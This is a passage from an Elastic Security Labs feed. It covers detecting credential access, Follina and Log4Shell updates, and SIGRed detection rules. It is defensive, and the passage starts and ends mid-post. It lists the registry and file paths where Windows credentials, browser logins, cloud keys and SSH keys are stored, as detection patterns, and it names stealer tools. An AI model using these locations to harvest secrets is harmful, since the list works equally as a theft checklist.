<p><a href="https://www.elastic.co/guide/en/ecs/current/ecs-allowed-values-event-category.html#ecs-event-category-authentication">authentication</a>) is a great enabler for detection and hunting.</p>
<blockquote>
  <p>The <a href="https://www.elastic.co/guide/en/ecs/current/ecs-process.html#field-process-entity-id">process.entity_id</a> field is a globally unique identifier used to mitigate PID reuse as well as to identify a specific process over time.</p>
</blockquote>
<p>This EQL query uses the process.entity_id field to detect a process accessing multiple sensitive files in a short period of time, which is usually a higher-confidence signal than looking for single file access:</p>
<p><strong>Process accessing multiple sensitive files in a short period of time</strong></p>
<pre><code>sequence by process.entity_id with maxspan=1m
 [process where event.action == "start"]

 // at least 3 unique file.paths, runs=* is supported in EQL 7.16+
 [file where event.action == "open"] with runs=3
</code></pre>
<p>Here is an example of a match for 3 different and unrelated types of credentials (email, DPAPI system MasterKey and Sysprep unattended):</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt62112858332f08d8/6a7d7ea651156ad5602bf7f9/kql-email.jpg" alt="EQL query showing email, DPAPI, and Sysprep credentials" title="EQL query showing email, DPAPI, and Sysprep credentials" /></p>
<p>Now let’s hunt for <a href="https://attack.mitre.org/techniques/T1021/002/">remote access to sensitive files over SMB</a>, such as the following:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt79f64f45ed2fd3b8/6a7d7ea977b034c5e73fc5d2/moving-sensitive-files.jpg" alt="Moving sensitive file with SMB" title="Moving sensitive file with SMB" /></p>
<p>We can detect this behavior with EQL that correlates a remote logon event (<a href="https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4624">4624</a>) with sensitive file access by the same</p>
<p><a href="https://www.elastic.co/guide/en/ecs/current/ecs-user.html#field-user-id">user.id</a>:</p>
<p><strong>Correlating remote logon with sensitive file access</strong></p>
<pre><code>sequence by host.id with maxspan=5m

  [authentication where event.action == "logged-in" and
    /* event 4624 need to be logged */
    winlog.logon.type : "Network" and
    event.outcome == "success" and source.ip != null and
    source.ip != "127.0.0.1" and
    source.ip != "::1"] by winlog.event_data.TargetUserSid

   /* requires Elastic Endpoint Security Integration 7.15+ */
  [file where event.action == "open" and process.pid == 4] by user.id
</code></pre>
<p>The above query results correlate relevant fields like the <a href="https://www.elastic.co/guide/en/ecs/current/ecs-source.html#field-source-ip">source.ip</a>, user.id, and <a href="https://www.elastic.co/guide/en/ecs/current/ecs-file.html#field-file-path">file.path</a>:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb970eacaf6fab4ee/6a7d7eabe88c6551820088fa/eql-correlation.jpg" alt="EQL query correlating relevant fields" title="EQL query correlating relevant fields" /></p>
<h2 id="behaviorprotection">Behavior Protection</h2>
<p>In addition to being able to use those events in <a href="https://github.com/elastic/detection-rules">detection rules</a>, Elastic Endpoint Security includes built-in malicious behavior protection rules that can automatically react to high-confidence, highly-suspicious sensitive file/registry accesses.</p>
<p>For example, here we can see Elastic Endpoint’s behavior protection rules catching:</p>
<ul>
<li><a href="https://github.com/gtworek/PSBits/tree/master/LSASecretDumper">LSASecretsdumper</a> - LSA secrets stealing with LsaOpenSecret and LsaQuerySecret APIs.</li>
<li><a href="https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets">Mimikatz (lsadump:sam and secrets modules)</a> - modules to dump creds from the SAM and LSA registry keys.</li>
<li>Lazagne (DPAPI MasterKeys access) - stealing MasterKey to decrypt DPAPI protected resources.</li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta6c9e903b1f5540a/6a7d7eaee88c658ed00088fe/EES.jpg" alt="Elastic Endpoint Security preventing credential theft attempts" title="Elastic Endpoint Security preventing credential theft attempts" /></p>
<p>Here are detections of Chrome Login Data file access by different infostealers (<a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.poulight_stealer">Poulight Stealer</a>, <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla">AgentTesla</a>) including <a href="https://lolbas-project.github.io/">lolbins</a> (powershell script):</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt43191a6f58733f64/6a7d7eb142a1175b1895908e/EES-preventing.jpg" alt="Elastic Endpoint Security preventing information stealing" title="Elastic Endpoint Security preventing information stealing" /></p>
<p>Below are some example detections for Windows Credential Manager Store access by common stealers AgentTesla and <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook">FormBook</a>:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc8e8a555c8162706/6a7d7eb4fc63abff40649f31/EES-windows-credential.jpg" alt="Elastic Endpoint Security preventing Windows Credential Manager Store theft" title="Elastic Endpoint Security preventing Windows Credential Manager Store theft" /></p>
<h2 id="monitoredfileandregistrypaths">Monitored File and Registry Paths</h2>
<p>The current list of monitored file and registry paths is listed below. Due to data volume and performance concerns, the Elastic Endpoint generates only one event per process.entity_id for a given file or registry pattern in the list. From a detection point of view this won’t create any visibility gap since we emit an event on the first file or registry access performed by any process.</p>
<p><strong>Monitored registry paths</strong></p>
<pre><code>registry_paths:
  # SAM - Encrypted Local Account Pwd hashes
  - '\REGISTRY\MACHINE\SAM'
  - '\REGISTRY\MACHINE\SAM\SAM\Domains\*'

  # SYSTEM - Bootkey/Syskey GBG, JD, Skew1
  - '\REGISTRY\MACHINE\SYSTEM\ControlSet00?\Control\Lsa\JD'
  - '\REGISTRY\MACHINE\SYSTEM\ControlSet00?\Control\Lsa\Skew1'
  - '\REGISTRY\MACHINE\SYSTEM\ControlSet00?\Control\Lsa\GBG'
  # SECURITY - LSA key, encrypted domain cached pwd and machine account pwd
  - '\REGISTRY\MACHINE\SECURITY\CACHE*'
  - '\REGISTRY\MACHINE\SECURITY\POLICY\SECRETS\*'

  # Registry - Putty SSH Keys
  - '\Registry\Machine\Software\SimonTatham\PuTTY\SshHostKeys\*'
  - '\Registry\User\*\Software\SimonTatham\PuTTY\SshHostKeys\*'

  # Sysadmin - WinSCP
  - '\REGISTRY\User\*\software\Martin Prikryl\WinSCP 2\Sessions\*\Password*'

  # Sysadmin - TeamViewer
  - '\REGISTRY\Machine\SOFTWARE\WOW6432Node\TeamViewer\PrxyPassword*'

  # Sysadmin - OpenVPN
  - '\REGISTRY\User\*\Software\OpenVPN-GUI\Configs\auth-data*'

  # Outlook Passwords
  - '\Registry\User\*\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001\*Password'
  - '\Registry\Users\*\Software\Microsoft\Office\*.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676'
</code></pre>
<p><strong>Monitored registry paths</strong></p>
<pre><code>file_paths:
  # DPAPI - User MasterKey
  # DPAPI - CREDHIST
  - 'C:\Users\*\AppData\Roaming\Microsoft\Protect\*'

  # DPAPI - System MasterKey
  - '?:\Windows\System32\Microsoft\Protect\S-1-5-18\User\*'

  # CredVault - User
  - '?:\Users\*\AppData\Roaming\Microsoft\Vault\*'
  - '?:\Users\*\AppData\Local\Microsoft\Vault\*'

  # CredVault - System
  - '?:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Vault\*'

  # CredMan - Users
  - '?:\Users\*\AppData\Roaming\Microsoft\Credentials\*'
  - '?:\Users\*\AppData\Local\Microsoft\Credentials\*'

  # CredMan - System
  - '?:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\*'
  - '?:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Credentials\*'

  # CredMan - Service
  - '?:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Credentials\*'
  - '?:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Credentials\*'
  - '?:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Credentials\*'
  - '?:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Credentials\*'

  # Unattended creds
  - '?:\Windows\Panther\Unattend.xml'
  - '?:\Windows\Panther\Unattended.xml'
  - '?:\Windows\Panther\Unattend\Unattended.xml'
  - '?:\Windows\Panther\Unattend\Unattend.xml'
  - '?:\Windows\System32\Sysprep\unattend.xml'
  - '?:\Windows\System32\Sysprep\Panther\unattend.xml'

  # Browser
  - '*\Users\*\AppData\Roaming\Mozilla\Firefox\Profiles\*.default*\key*.db'
  - '*\Users\*\AppData\Roaming\Mozilla\Firefox\Profiles\*.default*\logins.json'
  - '*\Users\*\AppData\Roaming\Mozilla\Firefox\Profiles\*.default*\cert*.db'
  - '*\Users\*\AppData\Roaming\Mozilla\Firefox\Profiles\*.default*\cookies.sqlite'
  - '*\Users\*\AppData\Roaming\Mozilla\Firefox\Profiles\*.default*\signons.sqlite'
  - '*\Users\*\User Data\Default\Login Data'
  - '*\users\*\AppData\Local\*\User Data\Default\Cookies'
  - '*\Users\*\AppData\Roaming\Opera Software\Opera Stable\*'

  # RDP
  - '*\Users\*\AppData\Local\Microsoft Corporation\Remote Desktop Connection Manager\RDCMan.settings'
  - '*\Users\*\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings'

  # Database - SVN
  - '?:\Users\*\AppData\Roaming\Subversion\auth\svn.simple'

  # Database - postgresql
  - '?:\Users\*\AppData\Roaming\postgresql\pgpass.conf'

  # Database - robomongo
  - '?:\Users\*\.3T\robo-3t\*\robo3t.json'
  - '?:\users\*\.3T\robomongo\*\robomongo.json'
  - '?:\users\*\.config\robomongo\*\robomongo.json'

  # Database - squirrel
  - '?:\Users\*\.squirrel-sql\SQLAliases23.xml'

  # Database - DbVisualizer
  - '?:\Users\*\.dbvis\config70\dbvis.xml'

  # Database - SQL Developer
  - '?:\Users\*\AppData\Roaming\SQL Developer\system*\o.jdeveloper.db.connection.*\connections.xml'
  - '?:\Users\*\AppData\Roaming\SQL Developer\system*\o.sqldeveloper.*\product-preferences.xml'

  # Cloud - AWS
  - '?:\Users\*\.aws\credentials\*'

  # Cloud - GCloud
  - '?:\Users\*\AppData\Roaming\gcloud\*'

  # Cloud - Azure
  - '?:\Users\*\.azure\*'

  # Cloud - Github
  - '?:\Users\*\.config\git\credentials'

  # Cloud - iCloud
  - '?:\users\*\AppData\Roaming\Apple Computer\Preferences\*'

  # Private Keys &amp; Certs &amp; Keepass
  - '*.pem'
  - '*.pfx'
  - '*.p12'
  - '*.pvk'
  - '*.key'
  - '*.ppk'
  - '*.rdg'
  - '*.kdb'
  - '*.kdbx'

  # Config - IIS Connection Strings
  - '?:\inetpub\wwwroot\*\web.config'

  # FileZilla Creds
  - '?:\Users\*\AppData\Roaming\FileZilla\*'

  # Jenkins Creds
  - '*\credentials.xml'
  - '*\secrets\master.key'
  - '*\secrets\hudson.util.Secret'

  # SSH and SSL
  - '?:\users\*\.ssh\*'

  # WIFI
  - '?:\\ProgramData\\Microsoft\\Wlansvc\\Profiles\\Interfaces\\*\\*.xml'

  # Collab
  - '?:\Users\*\AppData\Roaming\Slack\Cookies\*'
  - '?:\Users\*\AppData\Roaming\Slack\storage\slack-downloads\*'

  # GPP - 'Creds (legacy domains)

  - '?:\ProgramData\Microsoft\Group Policy\History\*\MACHINE\Preferences\Groups\Groups.xml'
  - '?:\ProgramData\Microsoft\Group Policy\History\*\MACHINE\Preferences\DataSources.xml'
  - '?:\ProgramData\Microsoft\Group Policy\History\*\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml'
  - '?:\ProgramData\Microsoft\Group Policy\History\*\MACHINE\Preferences\Services\Services.xml'
  - '?:\ProgramData\Microsoft\Group Policy\History\*\MACHINE\Preferences\Registry\registry.xml'
  - '?:\Users\*\AppData\Roaming\KeePass\KeePass*'

  # Thunderbird
  - '?:\Users\*\AppData\Roaming\Thunderbird\Profiles\*.default*\*'

  # VPN
  - '?:\Users\*\AppData\Local\NordVPN\NordVPN.exe*\user.config'

  # NTDS.DIT
  - '*\NTDS.DIT'

  # SAM
  - '*\SAM'
</code></pre>
<h2 id="closingthoughts">Closing thoughts</h2>
<p>Leveraging the new events that are collected with our kernel mode driver, and not subject to user mode tampering, we expanded our detection and prevention coverage for both credential discovery and access. Furthermore, combining it with the correlation features of Elastic EQL, we can create interesting hunts and detection rules for a variety of scenarios, with minimal false positive rates.</p>
<h2 id="references">References</h2>
<ul>
<li><a href="https://github.com/AlessandroZ/LaZagne">https://github.com/AlessandroZ/LaZagne</a></li>
<li><a href="https://github.com/GhostPack/Seatbelt">https://github.com/GhostPack/Seatbelt</a></li>
<li><a href="https://posts.specterops.io/operational-guidance-for-offensive-user-dpapi-abuse-1fb7fac8b107">https://posts.specterops.io/operational-guidance-for-offensive-user-dpapi-abuse-1fb7fac8b107</a></li>
<li><a href="https://github.com/gtworek/PSBits/tree/master/LSASecretDumper">https://github.com/gtworek/PSBits/tree/master/LSASecretDumper</a></li>
<li><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Mimikatz.md">https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Mimikatz.md</a></li>
</ul>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/detect-credential-access</link>
    <guid isPermaLink="false">detect-credential-access</guid>
    <category><![CDATA[Threat Hunting]]></category>
    <dc:creator><![CDATA[Samir Bousseaden]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltaf805983b55ca15d/6a7d7eb64c4bfb37accca7cc/blog-thumb-blind-spots.png" length="0" type="image/png"/>
    <pubDate>Wed, 01 Mar 2023 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Vulnerability summary: Follina, CVE-2022-30190]]></title>
    <description><![CDATA[Elastic is deploying a new malware signature to identify the use of the Follina vulnerability. Learn more in this post.]]></description>
    <content:encoded><![CDATA[<p>On May 27, 2022, the nao_sec independent security research group shared a VirusTotal link to a weaponized Microsoft Office document revealing a previously unknown vulnerability in the Microsoft Support Diagnostic Tool (MSDT). This vulnerability is most likely to be exploited via phishing lure attachments and is triggered when a document is opened. Readers should expect this vulnerability to be adopted by threats of all kinds and be aware that it enables arbitrary code to be executed as outlined in Microsoft’s <a href="https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/"><u>disclosure</u></a>.</p>
<h2 id="summary">Summary</h2>
<p>Readers may <a href="https://www.elastic.co/blog/playing-defense-against-gamaredon-group"><u>recall</u></a> that template injection is an <a href="https://attack.mitre.org/techniques/T1221/"><u>established</u></a> technique enabling an attacker to remotely load malicious content when a document is opened by a relevant application. This vulnerability — dubbed “<a href="https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e"><u>Follina</u></a>” — works in conjunction with template injection, specifically when the remote template uses the ms-msdt URI handler. Importantly, it does not require macros to be enabled. As in other cases of template injection, readers should be aware that remote objects may be heavily obfuscated.</p>
<p>Security teams should monitor msdt.exe as a child process of WINWORD.exe and other applications, paying particular attention to command line arguments and network activity attributed to that child process. Security teams may also consider monitoring network activity from all MS Office applications and their descendants as one way of generically identifying initial exploitation attempts via weaponized documents.</p>
<p>Elastic is deploying a new malware signature to identify the use of ms-msdt URIs. This signature will be distributed via the Elastic Endpoint. The team has also issued an update to the “<a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/initial_access_suspicious_ms_office_child_process.toml"><u>Suspicious MS Office Child Process</u></a>” rule available via the <a href="https://github.com/elastic/detection-rules"><u>detection-rules repository</u></a>, adding “msdt.exe” to the list of suspicious descendants and “Outlook.exe” to the list of relevant parent processes. The following query pertains to Elastic Endgame:</p>
<pre><code>Network where process_name == “msdt.exe” and
descendant of  [process where process_name == “winword.exe” ]
| unique process_name, command_line
</code></pre>
<h2 id="references">References</h2>
<p>Several organizations have released information and resources related to this vulnerability (non-exhaustive):</p>
<ul>
<li>Microsoft’s <a href="https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/"><u>guidance</u></a>, outlining one method of disabling the MSDT URL protocol</li>
<li>Huntress has provided their <a href="https://www.huntress.com/blog/microsoft-office-remote-code-execution-follina-msdt-bug"><u>analysis</u></a> of the vulnerability with additional information about ms-msdt abuse Todyl has shared an <a href="https://twitter.com/brent_murphy/status/1531322468228399104?t=yX_zDYE4ew6gA4am6a75Ug&amp;s=09"><u>Elastic query </u></a>pertaining to process events</li>
</ul>
<p>Kevin Beaumont has provided a <a href="https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e"><u>write-up</u></a> with historical and other details about potential implementations.</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/vulnerability-summary-follina</link>
    <guid isPermaLink="false">vulnerability-summary-follina</guid>
    <category><![CDATA[Threat Hunting]]></category>
    <dc:creator><![CDATA[Devon Kerr]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltbdb7b1c1dd4672ef/6a7d86ed05b7b5fabe188c02/blog-security-detection-720x420.png" length="0" type="image/png"/>
    <pubDate>Thu, 19 Jan 2023 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Analysis of Log4Shell vulnerability & CVE-2021-45046]]></title>
    <description><![CDATA[In this post, we cover next steps the Elastic Security team is taking for users to continue to protect themselves against CVE-2021-44228, or Log4Shell.]]></description>
    <content:encoded><![CDATA[<blockquote>
  <p><em>To understand how Elastic is currently assessing internal risk of this vulnerability in our products please see the advisory</em><a href="https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve-2021-44228-esa-2021-31/291476"><em>here.</em></a></p>
  <p><em>This document was updated on December 17, 2021 to reflect a revised CVSS score for CVE-2021-45046, and new findings by the community.</em></p>
</blockquote>
<p>In recent days Log4Shell, or CVE-2021-44228, has dominated the news cycle in the world of information security and beyond. Elastic released an <a href="https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve-2021-44228-esa-2021-31/291476?ultron=log4js-exploit&amp;blade=announcement&amp;hulk=email&amp;mkt_tok=ODEzLU1BTS0zOTIAAAGBU8N1ZUOwzTcRbJCOiByHmeYiopMnarq-QPWBIyhPI3Vvsp6w-4q4PBbTGZ3fZ0sB75cpaUdOddA1k-6-yh3QwAicvJTgafdJWv_-9Cn2GoKLvsmt">advisory</a> detailing how Elastic products and users are impacted, and a <a href="https://www.elastic.co/blog/detecting-log4j2-with-elastic-security?ultron=log4js-exploit&amp;blade=announcement&amp;hulk=email&amp;mkt_tok=ODEzLU1BTS0zOTIAAAGBU8N1ZDYRbFq2QZ4ZK8tc2IbDatArsdI6WGcA2M90g4v02svJeqCXFeZ23R4TjeYii4KBGAkqMBgWc5IkxYrmefgwZBanjGQh8v66drUymiVSQFvs">blog</a> post describing how our users can leverage Elastic Security to help defend their networks.</p>
<p>Many readers have further questions as to how we’re tracking this issue within Elastic Security, what our coverage is now, and what we’re expecting to do next. This post outlines a few details for our current status, and provides details regarding a new, related vulnerability: CVE-2021-45046.</p>
<h2 id="elasticsecurityresponse">Elastic Security response</h2>
<p>As you may imagine, the team has worked tirelessly to ensure that we’re developing detections for both active exploitation of the vulnerability, as well as post-compromise indicators, and will continue active development until further notice.</p>
<p>We’re spending time focusing on detailed detections that better align with some of the emerging trends that adversaries are now taking advantage of as they have time to develop their attack strategies. And we’re not working in silence — those that may have had a chance to catch up on our <a href="https://www.elastic.co/blog/detecting-log4j2-with-elastic-security">original post</a> a few days ago will be pleasantly surprised we’ve added further detections and hunting examples, and will continue to do so as we learn more with the community.</p>
<p>Alongside the threat research and signature development, we’ve noted some interesting observations:</p>
<ul>
<li>We noted several instances of <a href="https://www.virustotal.com/gui/file/5b25db204b5cd5cc3193f4378dd270dced80da9d39874d8b6fdd75e97d2cc907/detection">generic crypto miners</a> for Linux being deployed that appeared to be related to exploitation of this CVE, but determined that they are benign true positives</li>
<li>We’ve stopped at least eight different families of malware being deployed using the log4j exploit, indicating widespread adoption of the exploit by threats of all kinds</li>
<li>While we are observing coverage across our full protection suite (such as behavior protection), it is noteworthy that our free basic-tier malware protection is successfully preventing initial access</li>
</ul>
<p>We will aim to keep users and readers apprised of findings, and hope to share additional observations in the wild as we see them.</p>
<h2 id="anewcontendercve202145046">A new contender: CVE-2021-45046</h2>
<p>While we watch the CVE-2021-44228 (Log4Shell) vulnerability dominate the news cycles, a new contender, <a href="https://nvd.nist.gov/vuln/detail/CVE-2021-45046">CVE-2021-45046</a>, was accidentally introduced to Log4j2j version 2.15.0, allowing adversaries to invoke a Denial of Service, and a remote code execution condition through specially crafted payloads. Previous mitigations to avoid Information Disclosure vulnerabilities by setting the <code>log4j2.noFormatMsgLookup</code> state to <code>true</code> do not mitigate against this new finding, according to the CVE details.</p>
<p>While initially CVE-2021-45046 carried a lower CVSS score of 3.7 due to the impact of the initially discovered condition that can be invoked, this was re-evaluated to a 9.0 indicating limited remote code execution was possible. The finding was shared on December 16, 2021 by <a href="https://twitter.com/pwntester/status/1471465662975561734">Alvaro Muñoz</a>, who identified that while the default setting formatMsgNoLookups was accurately set to true, there were alternative locations for lookups to take place. Technical details are still unfolding from the community, however the Log4j2 team shared the following message within their security updates:</p>
<p><em>The reason these measures are insufficient is that, in addition to the Thread Context attack vector mentioned above, there are still code paths in Log4j where message lookups could occur: known examples are applications that use Logger.printf("%s", userInput), or applications that use a custom message factory, where the resulting messages do not implement StringBuilderFormattable. There may be other attack vectors.</em></p>
<p><em>The safest thing to do is to upgrade Log4j to a safe version, or remove the JndiLookup class from the log4j-core jar.</em> <a href="https://logging.apache.org/log4j/2.x/security.html"><em>Reference here</em></a></p>
<p>Given this new information, and readily available<a href="https://twitter.com/marcioalm/status/1471740771581652995">POCs</a> available for exploitation, the Apache team has recommended those impacted upgrade to the latest, safe version of Log4j2, or alternatively remove the JndiLookup class from the log4j-core jar.</p>
<p>Elastic Security has observed many threat actors and benign scanners leveraging this new methodology already in some edge environments, with payloads incorporating previous attack methodologies such as key extraction attempts and base64 encoded payloads:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltaf380adbe4f47dec/6a7d7da7e3a219699099c689/scanning-attempts-vulnerability.jpg" alt="A preview of the rapid acceleration of scanning attempts adopting this new vulnerability" title="A preview of the rapid acceleration of scanning attempts adopting this new vulnerability" /></p>
<p>We anticipate adding further details as we learn them, and thank the team at lunasec specifically for providing a <a href="https://www.lunasec.io/docs/blog/log4j-zero-day-severity-of-cve-2021-45046-increased/">detailed, early summary</a> of this emerging situation, and of course, provide kudos to <a href="https://twitter.com/pwntester">Alvaro Muñoz</a> of Github Security Lab for the findings.</p>
<h2 id="thankyouagainfromelasticsecurity">Thank you (again!), from Elastic Security</h2>
<p>We want to thank all of the security teams across the globe for your tireless work this week. As we referenced before, openness and collaboration in the security community to safeguard all users is paramount when facing such a serious and pervasive vulnerability.</p>
<p>Existing Elastic Security users can access these capabilities within the product. If you’re new to Elastic Security, take a look at our <a href="https://www.elastic.co/training/elastic-security-quick-start">Quick Start guides</a> (bite-sized training videos to get you started quickly) or our <a href="https://www.elastic.co/training/free#fundamentals">free fundamentals training courses</a>.</p>
<p>Get started with a <a href="https://cloud.elastic.co/registration">free 14-day trial of Elastic Cloud</a>. Or <a href="https://www.elastic.co/downloads/">download</a> the self-managed version of the Elastic Stack for free.</p>
<h3 id="references">References</h3>
<p><a href="https://logging.apache.org/log4j/2.x/security.html">https://logging.apache.org/log4j/2.x/security.html</a></p>
<p><a href="https://www.lunasec.io/docs/blog/log4j-zero-day-severity-of-cve-2021-45046-increased/">https://www.lunasec.io/docs/blog/log4j-zero-day-severity-of-cve-2021-45046-increased/</a></p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/analysis-of-log4shell-cve-2021-45046</link>
    <guid isPermaLink="false">analysis-of-log4shell-cve-2021-45046</guid>
    <category><![CDATA[Threat Hunting]]></category>
    <dc:creator><![CDATA[Jake King]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt055c3579864d3b40/6a7d7daa3cab1c74980e196b/photo-edited-12-e.jpg" length="0" type="image/jpeg"/>
    <pubDate>Wed, 30 Nov 2022 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Detection rules for SIGRed vulnerability]]></title>
    <description><![CDATA[The SIGRed vulnerability impacts all systems leveraging the Windows DNS server service (Windows 2003+). To defend your environment, we recommend implementing the detection logic included in this blog post using technology like Elastic Security.]]></description>
    <content:encoded><![CDATA[<blockquote>
  <p>To defend your environment from the SIGRed vulnerability, we recommend implementing the detection logic included below into your environment using technology such as <a href="https://www.elastic.co/endpoint-security/">Endpoint security</a>, <a href="https://www.elastic.co/beats/winlogbeat">Winlogbeat</a>, <a href="https://www.elastic.co/beats/packetbeat">Packetbeat</a>, or <a href="https://www.elastic.co/training/network-security-monitoring-engineer">network security monitoring (NSM)</a> platforms such as Zeek or Suricata.</p>
</blockquote>
<h2 id="executivesummary">Executive summary</h2>
<p>On July 14, 2020, Microsoft released a <a href="https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1350">security update</a> related to a remote code execution (RCE) and denial of service (DoS) vulnerability (<a href="https://nvd.nist.gov/vuln/detail/CVE-2020-1350">CVE-2020-1350</a>) in Windows DNS Server (2003 - 2019).</p>
<h3 id="summary">Summary</h3>
<ul>
<li>National Institute of Standards and Technology (NIST) assigned a critical <a href="https://www.first.org/cvss/v3.1/specification-document">CVSS score</a>of 10 out of 10 based on remote code execution without authentication and potential to self-replicate without user interaction</li>
<li>The vulnerability is estimated to be 17 years old and impacts older operating systems (Windows 2003+), which may no longer be supported</li>
<li>The DNS role, which must be enabled to be impacted, is enabled in most environments, and is required by Active Directory and Kerberos services</li>
<li>The vulnerability was <a href="https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin:-exploiting-a-17-year-old-bug-in-windows-dns-servers/">reported</a> by Check Point Research and given name “SIGRed”</li>
</ul>
<h3 id="timelineofevents">Timeline of events</h3>
<ul>
<li>May 19, 2020 - Initial Check Point disclosure sent to Microsoft</li>
<li>June 18, 2020 - CVE-2020-1350 issued to vulnerability</li>
<li>July 14, 2020 - Microsoft released patch</li>
<li>July 16, 2020 - First public DoS proof-of-concept <a href="https://github.com/maxpl0it/CVE-2020-1350-DoS">published</a></li>
<li>July 17, 2020 - Elastic releases SIGRed public detection logic</li>
</ul>
<h2 id="impact">Impact</h2>
<p>All systems leveraging the Windows DNS server service are impacted (Windows 2003+). This includes machines such as domain controllers/member servers leveraging Active Directory/Kerberos, as these services rely on the Windows DNS service.</p>
<p>Of note, this is an impact on the way Windows DNS server improperly handles malformed requests and not an underlying issue with the DNS protocol itself.</p>
<p>The SIGRed exploit leverages multiple tactics and techniques categorized by the MITRE ATT&amp;CK® framework:</p>
<h3 id="tactics">Tactics</h3>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0008">Lateral Movement</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002">Execution</a></li>
</ul>
<h3 id="techniques">Techniques</h3>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1133">External Remote Services</a></li>
<li><a href="https://attack.mitre.org/techniques/T1210">Exploitation of Remote Services</a></li>
</ul>
<h2 id="detection">Detection</h2>
<h3 id="detectionlogic">Detection logic</h3>
<p>On June 30, 2020, The Elastic Security Intelligence &amp; Analytics Team <a href="https://www.elastic.co/blog/elastic-security-opens-public-detection-rules-repo">released</a> our <a href="https://github.com/elastic/detection-rules">Detection Rules Repository</a> to the public. Expanding on the rules that were released with that post, we’ve included network and endpoint rules that target CVE-2020-1350 (SIGRed) in the public repository:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/execution_unusual_dns_service_children.toml">Unusual Child Process of dns.exe</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/execution_unusual_dns_service_file_writes.toml">Unusual File Modification by dns.exe</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/lateral_movement_dns_server_overflow.toml">Abnormally Large DNS Response</a></li>
</ul>
<h3 id="unusualchildofdnsexekibanaquerylanguagekql">Unusual child of dns.exe - Kibana Query Language (KQL)</h3>
<p>The detection logic in Figure 1 (below) identifies suspicious or unexpected child processes spawned from the Windows DNS service (dns.exe). This activity may indicate activity related to remote code execution (RCE) or other forms of exploitation.</p>
<pre><code>event.category:process and event.type:start and process.parent.name:dns.exe and not process.name:conhost.exe
</code></pre>
<p><em>Figure 1 - Unusual child process of dns.exe</em></p>
<h3 id="unusualfileoperationsofdnsexekql">Unusual file operations of dns.exe (KQL)</h3>
<p>The detection logic in Figure 2 (below) identifies suspicious or unexpected files being modified by the Windows DNS service (dns.exe). This not only indicates potential RCE or exploitation, but may also indicate preparation for post-compromise activities. For example, this service which is running with SYSTEM privileges could be used to silently write a DLL to Windows system folder setting up possible execution through a known DLL side-loading vector.</p>
<pre><code>event.category:file and process.name:dns.exe and not file.name:dns.log
</code></pre>
<p><em>Figure 2 - Unusual file modification by dns.exe</em></p>
<h3 id="networkpacketbeatandfilebeatwiththezeekorsuricatamodules">Network (Packetbeat and Filebeat with the Zeek or Suricata modules)</h3>
<p>As detailed in the <a href="https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin:-exploiting-a-17-year-old-bug-in-windows-dns-servers/">Check Point SIGRed research</a>, abnormally large DNS responses can cause the heap-based buffer overflow scenario. The logic in Figure 3 (below) identifies large DNS responses using either Packetbeat or Filebeat (with Zeek or Suricata modules enabled).</p>
